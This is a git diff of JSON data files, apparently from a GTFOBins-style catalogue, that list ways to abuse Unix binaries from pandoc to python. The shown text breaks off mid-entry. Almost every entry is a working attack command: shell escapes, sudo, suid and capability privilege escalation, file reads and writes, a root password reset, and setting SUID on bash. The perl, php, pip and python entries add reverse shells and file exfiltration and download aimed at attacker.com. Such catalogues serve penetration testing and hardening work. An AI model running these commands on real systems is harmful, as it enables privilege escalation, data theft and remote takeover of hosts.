a/gtfo/data/pandoc.json b/gtfo/data/pandoc.json new file mode 100644 index 0000000..b00f801 --- /dev/null +++ b/gtfo/data/pandoc.json @@ -0,0 +1,40 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\npandoc -t plain \"$LFILE\"\n" + } + ], + "file-write": [ + { + + "code": "LFILE=file_to_write\necho DATA | pandoc -t plain -o \"$LFILE\"\n" + } + ], + "shell": [ + { + "description": "Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.", + "code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' >$TF\npandoc -L $TF /dev/null\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_write\necho DATA | ./pandoc -t plain -o \"$LFILE\"\n" + } + ], + "limited-suid": [ + { + "description": "Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.", + "code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' >$TF\n./pandoc -L $TF /dev/null\n" + } + ], + "sudo": [ + { + "description": "Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.", + "code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' >$TF\nsudo pandoc -L $TF /dev/null\n" + } + ] + } +} diff --git a/gtfo/data/passwd.json b/gtfo/data/passwd.json new file mode 100644 index 0000000..8a61fa8 --- /dev/null +++ b/gtfo/data/passwd.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "", + "code": "PASS=new_password_here\necho -e \"$PASS\\n$PASS\" | sudo passwd root\nsu root\n" + } + ] + } +} diff --git a/gtfo/data/paste.json b/gtfo/data/paste.json index 0637398..adeed61 100644 --- a/gtfo/data/paste.json +++ b/gtfo/data/paste.json @@ -2,17 +2,20 @@ "functions": { "file-read": [ { - "code": "paste [file]\n" + + "code": "LFILE=file_to_read\npaste $LFILE\n" } ], "suid": [ { - "code": "paste [file]\n" + + "code": "LFILE=file_to_read\npaste $LFILE\n" } ], "sudo": [ { - "code": "sudo paste [file]\n" + + "code": "LFILE=file_to_read\nsudo paste $LFILE\n" } ] } diff --git a/gtfo/data/pax.json b/gtfo/data/pax.json new file mode 100644 index 0000000..5c94e56 --- /dev/null +++ b/gtfo/data/pax.json @@ -0,0 +1,10 @@ +{ + "functions": { + "file-read": [ + { + "description": "The output is a `tar` archive containing the read file as it is, hence this may not be suitable to read arbitrary binary files.", + "code": "LFILE=file_to_read\npax -w \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/pdb.json b/gtfo/data/pdb.json index 2e82134..9cb123e 100644 --- a/gtfo/data/pdb.json +++ b/gtfo/data/pdb.json @@ -1,15 +1,16 @@ { - "description": "This allows to execute Python code, other functions may apply.", "functions": { "shell": [ { + "code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\npdb $TF\ncont\n" } ], "sudo": [ { + "code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\nsudo pdb $TF\ncont\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/pdflatex.json b/gtfo/data/pdflatex.json index b2e8c7d..cca93be 100644 --- a/gtfo/data/pdflatex.json +++ b/gtfo/data/pdflatex.json @@ -2,26 +2,29 @@ "functions": { "shell": [ { + "code": "pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" } ], "file-read": [ { "description": "The read file will be part of the output.", - "code": "pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\npdftotext article.pdf -\n" + "code": "pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\npdftotext article.pdf -\n" } ], "sudo": [ { "description": "The read file will be part of the output.", - "code": "sudo pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\npdftotext article.pdf -\n" + "code": "sudo pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\npdftotext article.pdf -\n" }, { + "code": "sudo pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" } ], "limited-suid": [ { + "code": "./pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" } ] diff --git a/gtfo/data/pdftex.json b/gtfo/data/pdftex.json index 4da5346..0462f68 100644 --- a/gtfo/data/pdftex.json +++ b/gtfo/data/pdftex.json @@ -2,16 +2,19 @@ "functions": { "shell": [ { + "code": "pdftex --shell-escape '\\write18{/bin/sh}\\end'\n" } ], "sudo": [ { + "code": "sudo pdftex --shell-escape '\\write18{/bin/sh}\\end'\n" } ], "limited-suid": [ { + "code": "./pdftex --shell-escape '\\write18{/bin/sh}\\end'\n" } ] diff --git a/gtfo/data/perf.json b/gtfo/data/perf.json new file mode 100644 index 0000000..583b28c --- /dev/null +++ b/gtfo/data/perf.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "perf stat /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./perf stat /bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo perf stat /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/perl.json b/gtfo/data/perl.json index 38acd0e..6e9e0cc 100644 --- a/gtfo/data/perl.json +++ b/gtfo/data/perl.json @@ -2,33 +2,54 @@ "functions": { "shell": [ { - "code": "perl -e 'exec \"/bin/sh\";'" + "description": "", + "code": "perl -e 'exec \"/bin/sh\";'\n" } ], "file-read": [ { - "code": "perl -ne print [file]" + "description": "", + "code": "LFILE=file_to_read\nperl -ne print $LFILE\n" + } + ], + "file-upload": [ + { + "description": "Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "export RHOST=attacker.com\nexport RPORT=8080\nexport LFILE=file_to_send\nperl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>$ENV{\"RHOST\"}, PeerPort=>$ENV{\"RPORT\"}, Proto=>\"tcp\") or die;open(my $file, \"<\", $ENV{\"LFILE\"}) or die;$content = join(\"\", <$file>);close($file);$post_data = \"d=\" . $content;$headers = \"POST / HTTP/1.1\\r\\nHost: \" . $ENV{\"RHOST\"} . \"\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: \" . length($post_data) . \"\\r\\nConnection: close\\r\\n\\r\\n\";print $s $headers . $post_data;while (<$s>) { }close($s);'\n" + } + ], + "file-download": [ + { + "description": "Download a file via HTTP. For example, run `python3 -m http.server 8080` on the serving side.", + "code": "export RHOST=attacker.com\nexport RPORT=8080\nexport URL=/exploit.sh\nexport LFILE=output.txt\nperl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>$ENV{\"RHOST\"},PeerPort=>$ENV{\"RPORT\"},Proto=>\"tcp\") or die; print $s \"GET \" . $ENV{\"URL\"} . \" HTTP/1.1\\r\\nHost: \" . $ENV{\"RHOST\"} . \"\\r\\nMetadata: true\\r\\nConnection: close\\r\\n\\r\\n\"; open(my $fh, \">\", $ENV{\"LFILE\"}) or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq \"\\r\\n\") { $in_content = 1; } } close($s); close($fh);'\n" } ], "reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in([port],inet_aton(\"[host]\")))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nperl -e 'use Socket;$i=\"$ENV{RHOST}\";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n" } ], "suid": [ { - "code": "./perl -e 'exec \"/bin/sh\";'" + "description": "", + "code": "./perl -e 'exec \"/bin/sh\";'\n" } ], "sudo": [ { - "code": "sudo perl -e 'exec \"/bin/sh\";'" + "description": "", + "code": "sudo perl -e 'exec \"/bin/sh\";'\n" + }, + { + "description": "Don't forget to `CTRL+D` to exit the perl shell and get the shell.", + "code": "sudo PERL5OPT=-d PERL5DB='exec \"/bin/sh\"' perl\n" } ], "capabilities": [ { - "code": "./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/sh\";'" + "description": "", + "code": "./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/sh\";'\n" } ] } diff --git a/gtfo/data/perlbug.json b/gtfo/data/perlbug.json new file mode 100644 index 0000000..7f23d38 --- /dev/null +++ b/gtfo/data/perlbug.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "perlbug -s 'x x x' -r x -c x -e 'exec /bin/sh;'\n" + } + ], + "sudo": [ + { + + "code": "sudo perlbug -s 'x x x' -r x -c x -e 'exec /bin/sh;'\n" + } + ] + } +} diff --git a/gtfo/data/pexec.json b/gtfo/data/pexec.json new file mode 100644 index 0000000..630f670 --- /dev/null +++ b/gtfo/data/pexec.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "pexec /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./pexec /bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo pexec /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/pg.json b/gtfo/data/pg.json index 61b9a04..7bb81cb 100644 --- a/gtfo/data/pg.json +++ b/gtfo/data/pg.json @@ -2,23 +2,27 @@ "functions": { "shell": [ { + "code": "pg /etc/profile\n!/bin/sh\n" } ], "file-read": [ { - "code": "pg [file]" + + "code": "pg file_to_read\n" } ], "sudo": [ { + "code": "sudo pg /etc/profile\n!/bin/sh\n" } ], "suid": [ { - "code": "./pg [file]" + + "code": "./pg file_to_read\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/php.json b/gtfo/data/php.json index 3e902e7..d286dcd 100644 --- a/gtfo/data/php.json +++ b/gtfo/data/php.json @@ -2,68 +2,78 @@ "functions": { "shell": [ { - "code": "php -r 'system(\"/bin/sh\");'\n" + + "code": "export CMD=\"/bin/sh\"\nphp -r 'system(getenv(\"CMD\"));'\n" }, { - "code": "php -r 'passthru(\"/bin/sh\");'\n" + + "code": "export CMD=\"/bin/sh\"\nphp -r 'passthru(getenv(\"CMD\"));'\n" }, { - "code": "php -r 'print(shell_exec(\"/bin/sh\"));'\n" + + "code": "export CMD=\"/bin/sh\"\nphp -r 'print(shell_exec(getenv(\"CMD\")));'\n" }, { - "code": "php -r '$r=array(); exec(\"/bin/sh\", $r); print(join(\"\\\\n\",$r));'\n" + + "code": "export CMD=\"/bin/sh\"\nphp -r '$r=array(); exec(getenv(\"CMD\"), $r); print(join(\"\\\\n\",$r));'\n" }, { - "code": "php -r '$h=@popen(\"/bin/sh\",\"r\"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'\n" + + "code": "export CMD=\"/bin/sh\"\nphp -r '$h=@popen(getenv(\"CMD\"),\"r\"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'\n" } ], "command": [ { - "code": "php -r '$p = array(array(\"pipe\",\"r\"),array(\"pipe\",\"w\"),array(\"pipe\", \"w\"));$h = @proc_open(\"[command]\", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'\n" + + "code": "export CMD=\"id\"\nphp -r '$p = array(array(\"pipe\",\"r\"),array(\"pipe\",\"w\"),array(\"pipe\", \"w\"));$h = @proc_open(getenv(\"CMD\"), $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'\n" } ], "reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "php -r '$sock=fsockopen(\"[host]\",[port]);exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nphp -r '$sock=fsockopen(getenv(\"RHOST\"),getenv(\"RPORT\"));exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n" } ], "file-upload": [ { "description": "Serve files in the local folder running an HTTP server. This requires PHP version 5.4 or later.", - "code": "php -S [host]:[port]\n" + "code": "LHOST=0.0.0.0\nLPORT=8888\nphp -S $LHOST:$LPORT\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "php -r '$c=file_get_contents(\"[url]\");file_put_contents(\"[file]\", $c);'\n" + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nphp -r '$c=file_get_contents(getenv(\"URL\"));file_put_contents(getenv(\"LFILE\"), $c);'\n" } ], "suid": [ { - "code": "./php -r \"pcntl_exec('/bin/sh', ['-p']);\"\n" + + "code": "CMD=\"/bin/sh\"\n./php -r \"pcntl_exec('/bin/sh', ['-p']);\"\n" } ], "sudo": [ { - "code": "sudo php -r \"system('/bin/sh');\"\n" + + "code": "CMD=\"/bin/sh\"\nsudo php -r \"system('$CMD');\"\n" } ], "capabilities": [ { - "code": "./php -r \"posix_setuid(0); system('/bin/sh');\"\n" + + "code": "CMD=\"/bin/sh\"\n./php -r \"posix_setuid(0); system('$CMD');\"\n" } ], "file-read": [ { - "code": "php -r 'readfile(\"[file]\");'\n" + + "code": "export LFILE=file_to_read\nphp -r 'readfile(getenv(\"LFILE\"));'\n" } ], "file-write": [ { "description": "write data to a file, filename should be absolute.", - "code": "php -r 'file_put_contents(\"[file]\", \"[data]\");'\n" + "code": "export LFILE=file_to_write\nphp -r 'file_put_contents(getenv(\"LFILE\"), \"DATA\");'\n" } ] } diff --git a/gtfo/data/pic.json b/gtfo/data/pic.json index 8097ce7..2231a31 100644 --- a/gtfo/data/pic.json +++ b/gtfo/data/pic.json @@ -1,19 +1,28 @@ { "functions": { + "file-read": [ + { + "description": "The output is prefixed with a some content as a header.", + "code": "LFILE=file_to_read\npic $LFILE\n" + } + ], "shell": [ { + "code": "pic -U\n.PS\nsh X sh X\n" } ], "sudo": [ { + "code": "sudo pic -U\n.PS\nsh X sh X\n" } ], "limited-suid": [ { + "code": "./pic -U\n.PS\nsh X sh X\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/pico.json b/gtfo/data/pico.json index d0b5aa9..8164920 100644 --- a/gtfo/data/pico.json +++ b/gtfo/data/pico.json @@ -2,31 +2,35 @@ "functions": { "shell": [ { + "code": "pico\n^R^X\nreset; sh 1>&0 2>&0\n" }, { - "description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.", + "description": "The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.", "code": "pico -s /bin/sh\n/bin/sh\n^T\n" } ], "file-write": [ { - "code": "pico [file]\n[data]\n^O\n" + + "code": "pico file_to_write\nDATA\n^O\n" } ], "file-read": [ { - "code": "pico [file]" + + "code": "pico file_to_read\n" } ], "limited-suid": [ { - "description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.", + "description": "The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.", "code": "./pico -s /bin/sh\n/bin/sh\n^T\n" } ], "sudo": [ { + "code": "sudo pico\n^R^X\nreset; sh 1>&0 2>&0\n" } ] diff --git a/gtfo/data/pidstat.json b/gtfo/data/pidstat.json new file mode 100644 index 0000000..916462c --- /dev/null +++ b/gtfo/data/pidstat.json @@ -0,0 +1,22 @@ +{ + "functions": { + "command": [ + { + + "code": "COMMAND=id\npidstat -e $COMMAND\n" + } + ], + "sudo": [ + { + + "code": "COMMAND=id\nsudo pidstat -e $COMMAND\n" + } + ], + "suid": [ + { + + "code": "COMMAND=id\n./pidstat -e $COMMAND\n" + } + ] + } +} diff --git a/gtfo/data/pip.json b/gtfo/data/pip.json index f4d01f8..b9abc4c 100644 --- a/gtfo/data/pip.json +++ b/gtfo/data/pip.json @@ -2,35 +2,40 @@ "functions": { "shell": [ { + "description": "", "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\npip install $TF\n" + }, + { + "description": "", + "code": "TF=$(mktemp -d)\nprintf '#!/bin/bash\\n/bin/bash' > $TF/pwn.sh && chmod +x $TF/pwn.sh\npip config --editor $TF/pwn.sh edit\n" } ], "reverse-shell": [ { - "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "TF=$(mktemp -d)\necho 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' > $TF/setup.py\npip install $TF\n" + "description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nTF=$(mktemp -d)\necho 'import sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")' > $TF/setup.py\npip install $TF\n" } ], "file-upload": [ { - "description": "Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "TF=$(mktemp -d)\necho 'import sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))' > $TF/setup.py\npip install $TF\n" + "description": "Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nTF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))' > $TF/setup.py\npip install $TF\n" }, { "description": "Serve files in the local folder running an HTTP server.", - "code": "TF=$(mktemp -d)\necho 'import sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py\npip install $TF\n" + "code": "export LPORT=8888\nTF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py\npip install $TF\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request. It needs an absolute local file path.", - "code": "TF=$(mktemp -d)\necho 'import sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")' > $TF/setup.py\npip install $TF\n" + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=/tmp/file_to_save\nTF=$(mktemp -d)\necho 'import sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])' > $TF/setup.py\npip install $TF\n" } ], "file-write": [ { "description": "It needs an absolute local file path.", - "code": "TF=$(mktemp -d)\necho \"open('[file]','w+').write('DATA')\" > $TF/setup.py\npip install $TF\n" + "code": "export LFILE=/tmp/file_to_save\nTF=$(mktemp -d)\necho \"open('$LFILE','w+').write('DATA')\" > $TF/setup.py\npip install $TF\n" } ], "file-read": [ @@ -41,13 +46,19 @@ ], "library-load": [ { + "description": "", "code": "TF=$(mktemp -d)\necho 'from ctypes import cdll; cdll.LoadLibrary(\"lib.so\")' > $TF/setup.py\npip install $TF\n" } ], "sudo": [ { + "description": "", "code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo pip install $TF\n" + }, + { + "description": "", + "code": "TF=$(mktemp -d)\nprintf '#!/bin/bash\\n/bin/bash' > $TF/pwn.sh && chmod +x $TF/pwn.sh\nsudo pip config --editor $TF/pwn.sh edit\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/pkexec.json b/gtfo/data/pkexec.json index c42e257..c02d17b 100644 --- a/gtfo/data/pkexec.json +++ b/gtfo/data/pkexec.json @@ -2,8 +2,9 @@ "functions": { "sudo": [ { - "code": "sudo pkexec /bin/sh" + + "code": "sudo pkexec /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/pkg.json b/gtfo/data/pkg.json index fc2952d..8f39610 100644 --- a/gtfo/data/pkg.json +++ b/gtfo/data/pkg.json @@ -2,7 +2,7 @@ "functions": { "sudo": [ { - "description": "It runs commands using a specially crafted FreeBSD package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF\n```", + "description": "It runs commands using a specially crafted FreeBSD package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF\n```\n", "code": "sudo pkg install -y --no-repo-update ./x-1.0.txz\n" } ] diff --git a/gtfo/data/plymouth.json b/gtfo/data/plymouth.json new file mode 100644 index 0000000..f660780 --- /dev/null +++ b/gtfo/data/plymouth.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "To achieve code execution, it is required that `plymouthd` is already running as root or can be started as root (with sudo\nor equivalent). It is also required to have tty access to input characters such as keyboard access to the machine. It is\nusually best to save the following code snipet to a script (e.g. `priv-esc.sh`) and execute that as the first command\nwill take over the TTY and you will loose terminal access (if executed from the same TTY) until `hide-splash`.\n\n`show-splash` is used to take control over the TTY and display the splash screen. `pause-progress` is used to prevent\nplymouth from automatically quiting in some cases as we are already booted. `ask-for-password` will ask the user for a\ntext password (usually to decrypt a LUKS disk encryption). We can tell plymouth to send this input to any program, such\nas `/bin/sh` to execute whatever input we gave. Then run `hide-splash` to hide the splash screen and return to normal.\n", + "code": "sudo plymouth show-splash\nsudo plymouth pause-progress\nsudo plymouth ask-for-password --prompt='Execute root command:' --command=/bin/sh\nsudo plymouth hide-splash\n" + } + ] + } +} diff --git a/gtfo/data/podman.json b/gtfo/data/podman.json new file mode 100644 index 0000000..ab1fccd --- /dev/null +++ b/gtfo/data/podman.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "The resulting is a root shell.", + "code": "sudo podman run --rm -it --privileged --volume /:/mnt alpine chroot /mnt sh\n" + } + ] + } +} diff --git a/gtfo/data/posh.json b/gtfo/data/posh.json new file mode 100644 index 0000000..a1df2ef --- /dev/null +++ b/gtfo/data/posh.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "posh\n" + } + ], + "limited-suid": [ + { + + "code": "./posh\n" + } + ], + "sudo": [ + { + + "code": "sudo posh\n" + } + ] + } +} diff --git a/gtfo/data/pr.json b/gtfo/data/pr.json index 73e89ab..b435441 100644 --- a/gtfo/data/pr.json +++ b/gtfo/data/pr.json @@ -1,19 +1,21 @@ { - "description": "Some bytes are altered so it might not be suitable for binary files.", "functions": { "file-read": [ { - "code": "pr -T [file]\n" + + "code": "LFILE=file_to_read\npr -T $LFILE\n" } ], "suid": [ { - "code": "pr -T [file]\n" + + "code": "LFILE=file_to_read\npr -T $LFILE\n" } ], "sudo": [ { - "code": "pr -T [file]\n" + + "code": "LFILE=file_to_read\npr -T $LFILE\n" } ] } diff --git a/gtfo/data/procmail.json b/gtfo/data/procmail.json new file mode 100644 index 0000000..845fc41 --- /dev/null +++ b/gtfo/data/procmail.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "By modifying/creating a procmailrc configuration file, we can specify a processing rule for any command we want.", + "code": "echo -e ':0\\n| chmod u+s /bin/bash' > .procmailrc\necho \"gtfobins\" | sudo procmail -m .procmailrc\nbash -p\n" + } + ] + } +} diff --git a/gtfo/data/pry.json b/gtfo/data/pry.json index 91cea36..7a391b7 100644 --- a/gtfo/data/pry.json +++ b/gtfo/data/pry.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { + "code": "pry\nsystem(\"/bin/sh\")\n" } ], "sudo": [ { + "code": "sudo pry\nsystem(\"/bin/sh\")\n" } ], "limited-suid": [ { + "code": "./pry\nsystem(\"/bin/sh\")\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/psftp.json b/gtfo/data/psftp.json new file mode 100644 index 0000000..bfe5514 --- /dev/null +++ b/gtfo/data/psftp.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "psftp\n!/bin/sh\n" + } + ], + "limited-suid": [ + { + + "code": "sudo psftp\n!/bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo psftp\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/psql.json b/gtfo/data/psql.json index e22f55b..74c45a8 100644 --- a/gtfo/data/psql.json +++ b/gtfo/data/psql.json @@ -1,14 +1,27 @@ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", "functions": { "shell": [ { + "description": "", "code": "psql\n\\?\n!/bin/sh\n" + }, + { + "description": "", + "code": "psql\n\\! /bin/sh\n" } ], "sudo": [ { + "description": "", "code": "psql\n\\?\n!/bin/sh\n" + }, + { + "description": "", + "code": "psql\n\\! /bin/sh\n" + }, + { + "description": "", + "code": "sudo psql\n\\?\n!/bin/sh\n" } ] } diff --git a/gtfo/data/ptx.json b/gtfo/data/ptx.json new file mode 100644 index 0000000..33f7e0a --- /dev/null +++ b/gtfo/data/ptx.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nptx -w 5000 \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./ptx -w 5000 \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo ptx -w 5000 \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/puppet.json b/gtfo/data/puppet.json index d7914cb..b815efc 100644 --- a/gtfo/data/puppet.json +++ b/gtfo/data/puppet.json @@ -2,25 +2,27 @@ "functions": { "shell": [ { + "code": "puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"': }\"\n" } ], "file-write": [ { "description": "The file path must be absolute.", - "code": "puppet apply -e \"file { '[file]': content => 'DATA' }\"\n" + "code": "LFILE=\"/tmp/file_to_write\"\npuppet apply -e \"file { '$LFILE': content => 'DATA' }\"\n" } ], "file-read": [ { - "description": "The read file content is corrupted by the `diff` output format. The actual '/usr/bin/diff' command is executed.", - "code": "puppet filebucket -l diff /dev/null [file]\n" + "description": "The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.", + "code": "LFILE=file_to_read\npuppet filebucket -l diff /dev/null $LFILE\n" } ], "sudo": [ { + "code": "sudo puppet apply -e \"exec { '/bin/sh -c \\\"exec sh -i <$(tty) >$(tty) 2>$(tty)\\\"': }\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/pwsh.json b/gtfo/data/pwsh.json new file mode 100644 index 0000000..c0ef7f5 --- /dev/null +++ b/gtfo/data/pwsh.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "pwsh\n" + } + ], + "file-write": [ + { + + "code": "export LFILE=file_to_write\npwsh -c '\"DATA\" | Out-File $env:LFILE'\n" + } + ], + "sudo": [ + { + + "code": "sudo pwsh\n" + } + ] + } +} diff --git a/gtfo/data/python.json b/gtfo/data/python.json index 582b261..e667044 100644 --- a/gtfo/data/python.json +++ b/gtfo/data/python.json @@ -1,62 +1,68 @@ { - "description": "The payloads are compatible with both Python version 2 and 3.", "functions": { "shell": [ { - "code": "python -c 'import os; os.system(\"/bin/sh\")'" + "description": "", + "code": "python -c 'import os; os.system(\"/bin/sh\")'\n" } ], "reverse-shell": [ { - "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "python -c 'import sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")'\n" + "description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\npython -c 'import sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")'\n" } ], "file-upload": [ { - "description": "Send local file via 